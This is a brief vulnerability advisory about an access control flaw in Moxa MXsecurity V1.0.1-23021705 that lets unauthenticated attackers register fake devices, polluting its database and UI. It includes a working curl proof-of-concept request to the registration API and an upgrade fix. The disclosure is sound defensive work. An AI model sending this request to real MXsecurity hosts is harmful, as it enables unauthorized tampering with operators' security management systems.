Synopsis
A security issue regarding improper access controls has been discovered in Moxa MXsecurity V1.0.1-23021705. It allows an unauthenticated remote attacker to register/add devices via the nsm-web application. This pollutes the MXsecurity sqlite database and the nsm-web UI.
Proof of Concept
curl -k -H 'Content-Type:application/json' -d '{"mac":"11:11:11:11:11:11", "serialNumber":"1234", "modelName":"aaa", "hostname":"device_1", "firmwareVersion":"1.1", "location":"location_1"}' 'https://<mxsecurity-host>/ api/v1/devices/register'
Solution
Upgrade to firmware v1.1.0 or later.
Additional References
https://www.moxa.com/en/support/product-support/security-advisory/mpsa-230403-mxsecurity-series-multiple-vulnerabilitiesDisclosure Timeline
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